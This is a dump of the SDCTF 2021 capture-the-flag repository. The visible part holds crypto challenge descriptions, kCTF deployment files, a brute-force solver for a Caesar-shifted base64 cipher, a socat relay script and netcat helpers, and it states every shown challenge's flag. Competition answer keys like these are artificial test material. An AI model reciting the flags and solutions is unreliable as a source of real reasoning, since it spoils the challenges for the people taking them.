├── .gitignore ├── LICENSE ├── README.md ├── build-all.sh ├── common ├── common.c └── common.h ├── crypto ├── case64ar │ ├── README.md │ ├── gen_ciphertext_admin.py │ └── solve.py ├── encrypted-communications │ ├── README.md │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ ├── flag.txt │ │ ├── nsjail.cfg │ │ └── server.py │ ├── crypto_commons │ │ ├── __init__.py │ │ ├── asymmetric │ │ │ ├── __init__.py │ │ │ └── asymmetric.py │ │ ├── brute │ │ │ ├── __init__.py │ │ │ └── brute.py │ │ ├── generic.py │ │ ├── netcat │ │ │ ├── __init__.py │ │ │ └── netcat_commons.py │ │ ├── oracle │ │ │ ├── __init__.py │ │ │ └── lsb_oracle.py │ │ ├── rsa │ │ │ ├── __init__.py │ │ │ ├── crt.py │ │ │ └── rsa_commons.py │ │ ├── symmetrical │ │ │ ├── __init__.py │ │ │ ├── aes.py │ │ │ └── symmetrical.py │ │ └── xor │ │ │ ├── __init__.py │ │ │ └── repeating_xor.py │ ├── solve.sh │ └── solver.py ├── lost-in-transmission │ ├── README.md │ └── flag.dat ├── prime-hash-candidate │ ├── README.md │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ ├── nsjail.cfg │ │ └── server_admin.py │ ├── healthcheck │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── healthcheck.py │ │ ├── healthcheck_loop.sh │ │ └── healthz_webserver.py │ ├── server.py │ ├── server2.py │ ├── solver-static.py │ └── solver.py ├── primed-hash-candidate │ ├── README.md │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ ├── nsjail.cfg │ │ └── server_admin.py │ ├── healthcheck │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── healthcheck.py │ │ ├── healthcheck_loop.sh │ │ └── healthz_webserver.py │ ├── server.py │ └── solver.py └── safe-unix-playground │ ├── README.md │ ├── challenge.yaml │ ├── challenge │ ├── Dockerfile │ ├── flag-1.txt │ ├── flag-2.txt │ ├── nsjail.cfg │ └── server_admin.py │ ├── collision1.bin │ ├── collision2.bin │ ├── server.py │ └── solve.py ├── misc ├── alternative-arithmetic │ ├── README.md │ ├── challenge.yaml │ ├── challenge │ │ ├── AlternativeArithmetic.java │ │ ├── Challenge.java │ │ ├── Dockerfile │ │ ├── InvalidInputException.java │ │ └── nsjail.cfg │ └── healthcheck │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── healthcheck.py │ │ ├── healthcheck_loop.sh │ │ ├── healthz_webserver.py │ │ └── sample-solution.txt └── no-flag-for-u │ ├── Makefile │ ├── README.md │ ├── cat.c │ ├── challenge.yaml │ ├── challenge │ ├── .gitignore │ ├── Dockerfile │ ├── no-flag.py │ ├── nsjail.cfg │ └── run │ │ ├── README │ │ ├── bin │ │ └── .gitkeep │ │ └── opt │ │ ├── .gitkeep │ │ └── flag-b01d7291b94feefa35e6.txt │ ├── flag.txt │ ├── healthcheck │ ├── Dockerfile │ ├── README.md │ ├── healthcheck.py │ ├── healthcheck_loop.sh │ └── healthz_webserver.py │ ├── ls.c │ └── note.txt ├── osint ├── hIDe-and-seek │ └── README.md ├── speed-studying │ └── README.md └── this-flag-has-been-stolen │ └── README.md ├── pwn ├── flagDropper │ ├── README.md │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── flag │ │ ├── flag.txt │ │ ├── flagDropper │ │ ├── flagDropper.asm │ │ └── nsjail.cfg │ ├── healthcheck │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── healthcheck.py │ │ ├── healthcheck_loop.sh │ │ ├── healthz_webserver.py │ │ └── sol.py │ └── sol.py ├── haxlab-s │ ├── .gitignore │ ├── Makefile │ ├── README.md │ ├── admin │ │ ├── .bashrc │ │ ├── README.md │ │ ├── flag.txt │ │ ├── haxlabs.py │ │ └── launcher.sh │ ├── challenge.yaml │ ├── challenge │ │ ├── .gitignore │ │ ├── Dockerfile │ │ └── nsjail.cfg │ ├── deploy-README.txt │ ├── fake-local-flag.txt │ ├── generate-payload.py │ ├── payload.py │ └── solve.txt ├── haxlab │ ├── README.md │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ ├── flag1.txt │ │ ├── flag2.txt │ │ ├── jail.py │ │ ├── nsjail.cfg │ │ └── proprietary.py │ ├── deploy-readme.txt │ ├── flag1-approach.txt │ ├── jail.py │ ├── possible-unintended-solve-flag2.txt │ ├── proprietary.py │ ├── solve-flag1.txt │ ├── solve-flag2-builtin-not-dict.txt │ └── solve-flag2-py3.8.5.txt ├── printFailed │ ├── README.md │ ├── backup │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── flag.txt │ │ ├── nsjail.cfg │ │ ├── printFailed │ │ └── printFailed.c │ ├── healthcheck │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── healthcheck.py │ │ ├── healthcheck.py.save │ │ ├── healthcheck_loop.sh │ │ ├── healthz_webserver.py │ │ └── sol.py │ ├── printFailed.c │ └── sol.py └── unique-lasso │ ├── README.md │ ├── challenge.yaml │ ├── challenge │ ├── Dockerfile │ ├── Makefile │ ├── flag.txt │ ├── nsjail.cfg │ ├── sol.py │ └── uniqueLasso │ ├── healthcheck │ ├── Dockerfile │ ├── README.md │ ├── healthcheck.py │ ├── healthcheck_loop.sh │ ├── healthz_webserver.py │ └── sol.py │ ├── sol.py │ └── uniqueLasso.c ├── rev ├── 0xC0F1D19D15EA5E │ ├── .gitignore │ ├── Makefile │ ├── README.md │ ├── assert-fail.sh │ ├── cofid.c │ ├── debug.gdbinit │ ├── encrypt-flag.py │ ├── encrypt-url.py │ ├── n-jug.py │ └── solve.py ├── a-bowl-of-pythons │ ├── README.md │ ├── chal-admin.py │ ├── chal-template.txt │ ├── chal.py │ └── mkchal.py ├── desmos-pro │ ├── README.md │ ├── flag.txt │ ├── font-6x8.c │ ├── font.py │ ├── mazegen.py │ ├── plist-render-desmos.py │ ├── solve-maze.py │ └── tupper-render-desmos.py ├── major-change-application │ ├── Makefile │ ├── README.md │ ├── app-server.c │ ├── challenge.yaml │ ├── challenge │ │ ├── Dockerfile │ │ ├── flag.txt │ │ └── nsjail.cfg │ ├── solve.py │ ├── spec.txt │ └── xor-calc.py └── una_acies │ ├── Makefile │ ├── README.md │ ├── challenge.yaml │ ├── challenge │ ├── .gitignore │ ├── Dockerfile │ ├── flag.txt │ └── nsjail.cfg │ ├── deployment-readme.txt │ ├── example-flag.txt │ ├── healthcheck │ ├── Dockerfile │ ├── README.md │ ├── healthcheck.py │ ├── healthcheck_loop.sh │ └── healthz_webserver.py │ ├── key.txt │ └── una_acies_admin.py └── web ├── apollo-1337 ├── README.md ├── challenge.yaml ├── challenge │ ├── Dockerfile │ ├── README.md │ ├── data │ │ ├── flag.js │ │ ├── fuelPumps.js │ │ └── token.js │ ├── package-lock.json │ ├── package.json │ └── pages │ │ ├── api │ │ ├── fuel │ │ │ ├── [id].js │ │ │ └── index.js │ │ ├── rocketLaunch.js │ │ └── status.js │ │ └── index.js └── healthcheck │ ├── Dockerfile │ ├── README.md │ ├── healthcheck.py │ ├── healthcheck_loop.sh │ └── healthz_webserver.py ├── gets-request ├── README.md ├── challenge.yaml ├── challenge │ ├── Dockerfile │ ├── Makefile │ ├── README.md │ ├── index.html │ ├── index.js │ ├── package-lock.json │ ├── package.json │ ├── primegen.c │ ├── run.sh │ └── web-servers.nsjail.cfg └── healthcheck │ ├── Dockerfile │ ├── README.md │ ├── healthcheck.py │ ├── healthcheck_loop.sh │ └── healthz_webserver.py └── git-good ├── README.md ├── challenge.yaml ├── challenge ├── .gitignore ├── .rename.me.git │ ├── COMMIT_EDITMSG │ ├── COMMIT_EDITMSG~ │ ├── HEAD │ ├── ORIG_HEAD │ ├── config │ ├── description │ ├── hooks │ │ ├── applypatch-msg.sample │ │ ├── commit-msg.sample │ │ ├── fsmonitor-watchman.sample │ │ ├── post-update.sample │ │ ├── pre-applypatch.sample │ │ ├── pre-commit.sample │ │ ├── pre-merge-commit.sample │ │ ├── pre-push.sample │ │ ├── pre-rebase.sample │ │ ├── pre-receive.sample │ │ ├── prepare-commit-msg.sample │ │ ├── push-to-checkout.sample │ │ └── update.sample │ ├── index │ ├── info │ │ └── exclude │ ├── objects │ │ ├── 20 │ │ │ └── c9f02c6a89d4bdf1d6644b12e80e093bf63a3e │ │ ├── 21 │ │ │ └── c3532b100a5f8566f5fc4c64f2a4486618a67e │ │ ├── 32 │ │ │ └── e65831b8ccdef0c8d181116c660e11233983f9 │ │ ├── 33 │ │ │ └── 7d75eb3210c609d764f47f6a114e39f5862ed9 │ │ ├── 42 │ │ │ └── 6ec68a64f6fe89ec40a3352213703792e080cb │ │ ├── 84 │ │ │ └── f191442c8479c4cbd67937b9cbe3df2038be63 │ │ ├── 95 │ │ │ └── 96c8286bedc6214c91e3efc2876efd41c6301e │ │ ├── 03 │ │ │ └── 145c6b6bb98bf14ea311903eaf3c58fa7cc9eb │ │ ├── 07 │ │ │ └── 4a3c50ffe09a15f394e038019e7ac9a250e351 │ │ ├── 0b │ │ │ └── 23360a5d79ecf5241fd6790edd619304825b9a │ │ ├── 2c │ │ │ └── 55d1ca4ec7d827b7f4357436ca5ea4ee5327d1 │ │ ├── 6a │ │ │ ├── 70ab0a4ef8f968750fc627fe248d30d066c8c2 │ │ │ └── ab31640a322209ccd9e0e6eeab36ef65be0df0 │ │ ├── 7a │ │ │ └── e9c92afc3f316fdd19dd37067d6140e2c16eb0 │ │ ├── 7e │ │ │ └── 23e8d425a5f91a7f5e70d6c7cc6d7811db661d │ │ ├── 8c │ │ │ └── 6becb05e3afc355229310ba171b8c00fc2537e │ │ ├── 9a │ │ │ └── 55d593b0f12ff6f64a06094aa873690b8ceabd │ │ ├── a7 │ │ │ └── 6c475d6b53daf7efe8396b494f5e09ab4abc91 │ │ ├── aa │ │ │ └── c42f1d66b35b027d9538cfb3252473b08f11cd │ │ ├── b1 │ │ │ └── 532f74e423381703e466520e99f9619a4ca334 │ │ ├── ce │ │ │ └── 86d86f4c3f5bd7a63136a2caaf76d57071d905 │ │ ├── d8 │ │ │ └── eb39e3e2bb984ce687768d20f58d962942841d │ │ └── f9 │ │ │ └── d209848323a5fc22343961ca36e30417969b1d │ └── refs │ │ └── heads │ │ └── master ├── Dockerfile ├── admin.html ├── app.js ├── image1.png ├── index.html ├── nsjail.cfg ├── package-lock.json ├── package.json ├── robots.txt └── users.db └── healthcheck ├── Dockerfile ├── README.md ├── healthcheck.py ├── healthcheck_loop.sh └── healthz_webserver.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Association for Computing Machinery (UCSD) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /build-all.sh: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env bash 2 | # Builds all deployment files and attachments 3 | 4 | cd "$(dirname -- "${BASH_SOURCE[0]}")" || { echo "Failed to change to working directory"; exit 1; } 5 | 6 | # TODO: Rahil pushed binary files to the repo so we don't have to regenerate them 7 | 8 | # make -C ./misc/alternative-arithmetic/challenge/ all && 9 | make -C ./misc/no-flag-for-u/ all && 10 | # make -C ./pwn/flagDropper/challenge/ flagDropper && 11 | make -C ./pwn/haxlab-s/ all && 12 | # make -C ./pwn/printFailed/challenge/ printFailed && 13 | # make -C ./pwn/unique-lasso/challenge/ uniqueLasso && 14 | make -C ./rev/0xC0F1D19D15EA5E/ 0xC0F1D && 15 | make -C ./rev/major-change-application/ all && 16 | make -C ./rev/una_acies/ all && 17 | 18 | echo "All files successfully built" >&2 19 | -------------------------------------------------------------------------------- /common/common.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | void die(void) { 4 | exit(EXIT_FAILURE); 5 | } 6 | 7 | // read_input reads a line of input and removes line terminators, similar to Python 3's input 8 | void read_input(char *buffer, int size) { 9 | fflush(stdout); // first flush all outputs before getting input 10 | if (fgets(buffer, size, stdin) == NULL) { 11 | // error handling 12 | if (feof(stdin)) { 13 | MSG_DEBUG("EOF!"); 14 | exit(EXIT_SUCCESS); 15 | } 16 | // must have failed 17 | // #ifdef DEBUG 18 | // perror("fgets: Read from stdin failed"); 19 | // #endif 20 | PERROR_FATAL("read_input: Read from stdin failed"); 21 | } 22 | // Replace newline, if any, with the null byte 23 | for (int i = 0; i < size; i++) { 24 | if (buffer[i] == '\n') { 25 | buffer[i] = '\0'; 26 | break; 27 | } else if (buffer[i] == '\0') { 28 | break; 29 | } 30 | } 31 | } 32 | 33 | char ck_getchar(void) { 34 | int result = getchar(); 35 | if (result == EOF) { 36 | MSG_DEBUG("EOF!"); 37 | die(); 38 | } 39 | return (char) result; 40 | } 41 | 42 | // if the strings are equal, return 1, else 0 43 | int timing_safe_equal(char *s1, char *s2, size_t length) { 44 | volatile int fail = 0; 45 | for (size_t i = 0; i < length; i++) { 46 | fail |= s1[i] ^ s2[i]; 47 | } 48 | return !fail; 49 | } 50 | -------------------------------------------------------------------------------- /crypto/case64ar/README.md: -------------------------------------------------------------------------------- 1 | # Case64AR 2 | ## Cryptography - Easy 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | k3v1n | none | **MikeCAT** from **Team MikeCAT** | 26 | 190 | 6 | 7 | ### prompt 8 | Someone script kiddie just invented a new encryption scheme. It is described as a blend of modern and ancient cryptographic techniques. Can you prove that the encryption scheme is insecure by decoding the ciphertext below? 9 | 10 | **Ciphertext**: OoDVP4LtFm7lKnHk+JDrJo2jNZDROl/1HH77H5Xv 11 | 12 | ### original specification 13 | Simple encryption on flag with format sdctf{content...}. First apply base64, then apply a Caesar shift on the base64 alphabet. Easily crack-able by brute force once you know how this cipher works 14 | 15 | **flag**: `sdctf{OBscUr1ty_a1nt_s3CURITy}` 16 | ### writeups 17 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#Case64AR 18 | - https://qiita.com/mikecat_mixc/items/5a0c45751b15c8a8513b#case64ar 19 | - https://github.com/wnfldchen/ctf/blob/main/sdctf21/case64ar.md -------------------------------------------------------------------------------- /crypto/case64ar/gen_ciphertext_admin.py: -------------------------------------------------------------------------------- 1 | # PRIVATE/ADMIN file!!! 2 | # DO NOT share to participants 3 | 4 | import base64, string, random 5 | from typing import Dict 6 | 7 | FLAG = 'sdctf{OBscUr1ty_a1nt_s3CURITy}' 8 | SEED = 0x1337face 9 | 10 | B64_ALPHABET = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/' 11 | # print(B64_ALPHABET) 12 | assert len(B64_ALPHABET) == 64 13 | PAD_CHAR = '=' 14 | 15 | letter2index: Dict[str, int] = dict() 16 | 17 | for i, letter in enumerate(B64_ALPHABET): 18 | letter2index[letter] = i 19 | 20 | random.seed(SEED) 21 | 22 | shift = random.randint(1, 63) 23 | print('Shift: {}'.format(shift)) 24 | 25 | s_b64 = base64.b64encode(FLAG.encode()).decode() 26 | # print(s_b64) 27 | 28 | def char_shift(c: str): 29 | if c == PAD_CHAR: 30 | return PAD_CHAR 31 | i = letter2index[c] 32 | return B64_ALPHABET[(i+shift) % 64] 33 | 34 | print(''.join(map(char_shift, s_b64))) 35 | -------------------------------------------------------------------------------- /crypto/case64ar/solve.py: -------------------------------------------------------------------------------- 1 | # Solve script 2 | 3 | # PRIVATE/ADMIN file!!! 4 | # DO NOT share to participants 5 | 6 | import base64, string 7 | from typing import Dict 8 | 9 | CIPHERTEXT = 'OoDVP4LtFm7lKnHk+JDrJo2jNZDROl/1HH77H5Xv' 10 | SEED = 0x1337face 11 | 12 | B64_ALPHABET = string.ascii_uppercase + string.ascii_lowercase + string.digits + '+/' 13 | assert len(B64_ALPHABET) == 64 14 | PAD_CHAR = '=' 15 | 16 | letter2index: Dict[str, int] = dict() 17 | 18 | for i, letter in enumerate(B64_ALPHABET): 19 | letter2index[letter] = i 20 | 21 | def char_shift(c: str, shift: int): 22 | if c == PAD_CHAR: 23 | return PAD_CHAR 24 | i = letter2index[c] 25 | return B64_ALPHABET[(i+shift) % 64] 26 | 27 | def shift_all(ciphertext: str, shift: int): 28 | return ''.join(map(lambda c: char_shift(c, shift), ciphertext)) 29 | 30 | for shift in range(64): 31 | bys = base64.b64decode(shift_all(CIPHERTEXT, shift)) 32 | try: 33 | s = bys.decode() 34 | except UnicodeDecodeError: 35 | pass # This shift number must be invalid since flags can only contain plaintext 36 | else: 37 | print('Encryption shift count: {}'.format(64 - shift)) 38 | print(s) 39 | -------------------------------------------------------------------------------- /crypto/encrypted-communications/README.md: -------------------------------------------------------------------------------- 1 | # Encrypted Communications 2 | ## Cryptography - Hard 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | RJ | none | **S3v3ru5** from **Team zer0pts** | 6 | 699 | 6 | 7 | ### prompt 8 | Try to get the flag. 9 | 10 | Connect via 11 | `nc encrypted.sdc.tf 1337` 12 | 13 | **attachments**: `server.py` 14 | ### original specification 15 | none lol 16 | 17 | **flag**: `sdctf{A3s_cbc_4nD_Padd1ng_fUn}` 18 | ### writeups 19 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#Encrypted-Communications 20 | -------------------------------------------------------------------------------- /crypto/encrypted-communications/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | #change to chal name 5 | name: encrypted-communications 6 | spec: 7 | deployed: true 8 | powDifficultySeconds: 0 9 | network: 10 | public: true 11 | healthcheck: 12 | enabled: false 13 | image: eu.gcr.io/sdctf-2021/encrypted-communications-challenge:469966e3e7c81ce90df0c41395f387a90a36b76e04ddec374837797717df739a 14 | -------------------------------------------------------------------------------- /crypto/encrypted-communications/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:20.04 as chroot 15 | 16 | RUN apt-get update -y && apt-get install -y python2 python-crypto 17 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 18 | 19 | #change to chal name 20 | COPY server.py flag.txt /home/user/ 21 | RUN chmod +rx /home/user/server.py 22 | 23 | FROM gcr.io/kctf-docker/challenge@sha256:6dd60da626bc43bf3175d9d7436006db5acc7710d5d1b7006ab53e718fe51e40 24 | 25 | COPY --from=chroot / /chroot 26 | 27 | COPY nsjail.cfg /home/user/ 28 | 29 | CMD kctf_setup && \ 30 | kctf_drop_privs \ 31 | socat \ 32 | TCP-LISTEN:1337,reuseaddr,fork \ 33 | #change to your challenge name 34 | EXEC:"nsjail --config /home/user/nsjail.cfg -- /home/user/server.py" 35 | -------------------------------------------------------------------------------- /crypto/encrypted-communications/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | sdctf{A3s_cbc_4nD_Padd1ng_fUn} 2 | -------------------------------------------------------------------------------- /crypto/encrypted-communications/challenge/nsjail.cfg: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # See options available at https://github.com/google/nsjail/blob/master/config.proto 16 | 17 | name: "default-nsjail-configuration" 18 | description: "Default nsjail configuration for pwnable-style CTF task." 19 | 20 | mode: ONCE 21 | uidmap {inside_id: "1000"} 22 | gidmap {inside_id: "1000"} 23 | mount_proc: true 24 | rlimit_as_type: HARD 25 | rlimit_cpu_type: HARD 26 | rlimit_nofile_type: HARD 27 | rlimit_nproc_type: HARD 28 | 29 | cwd: "/home/user" 30 | 31 | mount: [ 32 | { 33 | src: "/chroot" 34 | dst: "/" 35 | is_bind: true 36 | }, 37 | { 38 | src: "/etc/resolv.conf" 39 | dst: "/etc/resolv.conf" 40 | is_bind: true 41 | }, 42 | { 43 | dst: "/dev/" 44 | fstype: "tmpfs" 45 | options: "size=65536" 46 | rw: true 47 | }, 48 | { 49 | src: "/dev/urandom" 50 | dst: "/dev/urandom" 51 | is_bind: true 52 | } 53 | ] 54 | -------------------------------------------------------------------------------- /crypto/encrypted-communications/crypto_commons/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/crypto/encrypted-communications/crypto_commons/__init__.py -------------------------------------------------------------------------------- /crypto/encrypted-communications/crypto_commons/asymmetric/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/crypto/encrypted-communications/crypto_commons/asymmetric/__init__.py -------------------------------------------------------------------------------- /crypto/encrypted-communications/crypto_commons/brute/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/crypto/encrypted-communications/crypto_commons/brute/__init__.py -------------------------------------------------------------------------------- /crypto/encrypted-communications/crypto_commons/brute/brute.py: -------------------------------------------------------------------------------- 1 | import multiprocessing 2 | 3 | 4 | def brute(worker, data_list, processes=8): 5 | """ 6 | Run multiprocess workers 7 | :param worker: worker function 8 | :param data_list: data to distribute between workers, one entry per worker 9 | :param processes: number of parallel processes 10 | :return: list of worker return values 11 | """ 12 | pool = multiprocessing.Pool(processes=processes) 13 | result = pool.map(worker, data_list) 14 | pool.close() 15 | return result 16 | -------------------------------------------------------------------------------- /crypto/encrypted-communications/crypto_commons/netcat/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/crypto/encrypted-communications/crypto_commons/netcat/__init__.py -------------------------------------------------------------------------------- /crypto/encrypted-communications/crypto_commons/netcat/netcat_commons.py: -------------------------------------------------------------------------------- 1 | import re 2 | import socket 3 | import telnetlib 4 | 5 | 6 | def nc(host, port): 7 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 8 | s.connect((host, port)) 9 | return s 10 | 11 | 12 | def receive_until(s, delimiters, break_on_empty=False): 13 | all_data = b"" 14 | data = s.recv(1) 15 | while data not in delimiters: 16 | all_data += data 17 | data = s.recv(1) 18 | if not data and break_on_empty: 19 | return all_data 20 | return all_data + data 21 | 22 | 23 | def receive_until_match(s, regex, timeout=None, limit=-1, break_on_empty=False): 24 | """ 25 | Receive data from socket until regular expression is matching 26 | :param s: socket 27 | :param regex: regex to match 28 | :param timeout: read timeout, None for no timeout 29 | :param limit: data read attempts limit 30 | :return: read data 31 | """ 32 | s.settimeout(timeout) 33 | all_data = b"" 34 | i = 0 35 | try: 36 | while re.search(regex, all_data.decode("utf-8")) is None: 37 | new_char = s.recv(1) 38 | all_data += new_char 39 | if (limit != -1 and i > limit) or (not new_char and break_on_empty): 40 | break 41 | i += 1 42 | except Exception as e: 43 | print('error', e) 44 | print(all_data) 45 | s.settimeout(None) 46 | return all_data 47 | 48 | 49 | def send(s, payload): 50 | s.sendall(payload + b"\n") 51 | 52 | 53 | def interactive(s): 54 | t = telnetlib.Telnet() 55 | t.sock = s 56 | t.interact() 57 | -------------------------------------------------------------------------------- /crypto/encrypted-communications/crypto_commons/oracle/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/crypto/encrypted-communications/crypto_commons/oracle/__init__.py -------------------------------------------------------------------------------- /crypto/encrypted-communications/crypto_commons/rsa/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/crypto/encrypted-communications/crypto_commons/rsa/__init__.py -------------------------------------------------------------------------------- /crypto/encrypted-communications/crypto_commons/symmetrical/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/crypto/encrypted-communications/crypto_commons/symmetrical/__init__.py -------------------------------------------------------------------------------- /crypto/encrypted-communications/crypto_commons/xor/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/crypto/encrypted-communications/crypto_commons/xor/__init__.py -------------------------------------------------------------------------------- /crypto/encrypted-communications/solve.sh: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env bash 2 | 3 | # Due to the way this challenge is structured, one need to echo back input using socat's ,pty option 4 | # Assuming deployment uses something like 5 | # socat TCP-LISTEN:1337,fork,reuseaddr EXEC:"python2 server.py" 6 | # where there is no ",pty" option 7 | 8 | if (( $# < 2 )); then 9 | echo "usage: ./solve.sh HOST PORT" >&2 10 | exit 2 11 | fi 12 | 13 | # host/port must not contain single quotes or special characters to socat 14 | host="$1" 15 | port="$2" 16 | 17 | # Make sure this port is available 18 | local_port=9999 19 | 20 | # socat with pty 21 | socat TCP-LISTEN:"$local_port",fork,reuseaddr,bind=localhost EXEC:"nc '$host' '$port'",pty & 22 | SOCAT_PID=$! 23 | 24 | ./solver.py localhost "$local_port" 25 | 26 | kill "$SOCAT_PID" 27 | -------------------------------------------------------------------------------- /crypto/lost-in-transmission/README.md: -------------------------------------------------------------------------------- 1 | # Lost in Transmission 2 | ## Cryptography - Easy 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | KNOXDEV | none | **killerdog** from **Team Kalmarunionen** | 89 | 75 | 6 | 7 | ### prompt 8 | I had my friend send me the flag, but it seems a bit...off. 9 | 10 | **attachments**: `flag.dat` 11 | ### original specification 12 | The message is literally one bit shift off. Doesn't look like anything under a hexviewer as a result. Use CyberChef to shift it back. The flag is sdctf{W0nD3rfUL_mY_G00d_s1R} 13 | 14 | **flag**: `sdctf{W0nD3rfUL_mY_G00d_s1R}` 15 | ### writeups 16 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#Lost-in-Transmission 17 | - https://github.com/thewhitecircle/ctf_writeups/blob/main/sdctf_2021/crypto.md#lost-in-transmission 18 | - https://qiita.com/mikecat_mixc/items/5a0c45751b15c8a8513b#lost-in-transmission 19 | - https://szymanski.ninja/en/ctfwriteups/2021/sdctf/lost-in-transmission/ 20 | - https://github.com/Fl4gSm4sher/CTF-WriteUps/tree/main/San%20Diego%20CTF%202021/CRYPTO/Lost%20in%20Transmission 21 | -------------------------------------------------------------------------------- /crypto/lost-in-transmission/flag.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/crypto/lost-in-transmission/flag.dat -------------------------------------------------------------------------------- /crypto/prime-hash-candidate/README.md: -------------------------------------------------------------------------------- 1 | # A Prime Hash Candidate 2 | ## Cryptography - Easy 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | RJ | none | **killerdog** from **Team Kalmarunionen** | 46 | 147 | 6 | 7 | ### prompt 8 | We hired a fresh MATH 187A student to create our login for us. After 6 months of backbreaking development, we're no longer storing passwords as plain text. Just try to break in! 9 | 10 | Connect via: `nc phc1.sdc.tf 1337` 11 | 12 | **attachments**: `server.py` 13 | ### original specification 14 | A simple netcat program that accepts password input but uses 15 | 16 | **flag**: `sdctf{st1ll_3553nt14lly_pl@1n_txt}` 17 | ### writeups 18 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#A-Prime-Hash-Candidate 19 | - https://github.com/thewhitecircle/ctf_writeups/blob/main/sdctf_2021/crypto.md#a-prime-hash-candidate 20 | - https://qiita.com/mikecat_mixc/items/5a0c45751b15c8a8513b#a-prime-hash-candidate 21 | - https://szymanski.ninja/en/ctfwriteups/2021/sdctf/a-prime-hash-candidate/ 22 | - https://github.com/Fl4gSm4sher/CTF-WriteUps/tree/main/San%20Diego%20CTF%202021/CRYPTO/A%20Prime%20Hash%20Candidate 23 | 